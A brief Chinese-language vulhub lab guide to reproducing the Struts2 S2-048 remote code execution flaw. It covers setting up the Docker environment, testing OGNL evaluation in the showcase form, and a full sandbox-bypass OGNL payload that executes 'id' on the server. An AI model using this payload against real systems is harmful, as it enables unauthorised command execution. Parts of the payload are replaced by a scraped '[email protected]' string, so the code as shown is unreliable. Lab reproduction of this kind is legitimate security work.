S2-048 遠程代碼執行漏洞

影響版本

2.0.0 - 2.3.32

漏洞搭建

cd vulhub/struts2/s2-048

docker-compose up -d

環境啓動後,訪問http://your-ip:8080/showcase/即可查看到struts2的測試頁面。

漏洞復現

訪問Integration->Struts 1 Integration:

觸發OGNL表達式的位置是Gangster Name這個表單。

輸入${233*233}即可查看執行結果(剩下兩個表單隨意填寫)

發現執行了,成功計算出結果

借用S2-045的沙盒繞過方法,我改了一個POC。將如下POC填入表單Gengster Name中,提交即可直接回顯命令執行的結果:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章